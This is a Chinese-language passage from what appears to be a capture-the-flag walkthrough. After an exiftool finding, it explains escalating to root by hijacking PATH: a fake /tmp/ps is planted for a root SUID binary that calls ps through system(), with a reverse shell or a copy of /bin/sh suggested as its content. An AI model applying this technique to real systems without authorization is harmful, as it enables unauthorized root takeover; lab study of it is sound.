似乎没有什么可以利用！
这里的phpmyadmin也不知道密码，弱口令尝试失败！
眼睛感觉很可疑！下载下来分析！

是使用exiftool发现了可疑的地方！ ---- P-): kzMb5nVYJw
得到一串可疑字符，可能是账号密码，或者目录文件啥的！经过尝试！是目录！

我们通过历史命令发现这个可执行的二进制文件，执行之后发现 sh、ps命令具有root权限！我们即可提权！提权
在运行这个可执行文件的时候，相当于执行了ps命令，使用strings命令对该文件进行解析的时候，
发现system函数，而且这个文件是具有root权限，在探索过程中发现tmp目录是具有可读、可写、可执行的一个权限的。
我们可以把该二进制文件的环境变量加入tmp目录下，这样当文件解析的时候，它会从环境变量第一部分开始往后执行，当找到ps命令时，将在该环境变量下执行该命令，
也就是我们可以在tmp目录下建立一个ps文档，在里面写入反弹shell，或者写入提权命令，这样当二进制文件执行的时候，会从环境变量里面开始寻找ps命令。
当找到tmp目录下将会执行我们新建的ps文档。
我们给我们建立的ps文档赋予一个可执行的权限，这样就会以当前环境变量下的root的权限执行ps文件，我们即可提权成功！我们把 /bin/sh文件内容复制到/tmp/ps文件里面即可！
先把当前的环境变量加入tmp目录下！
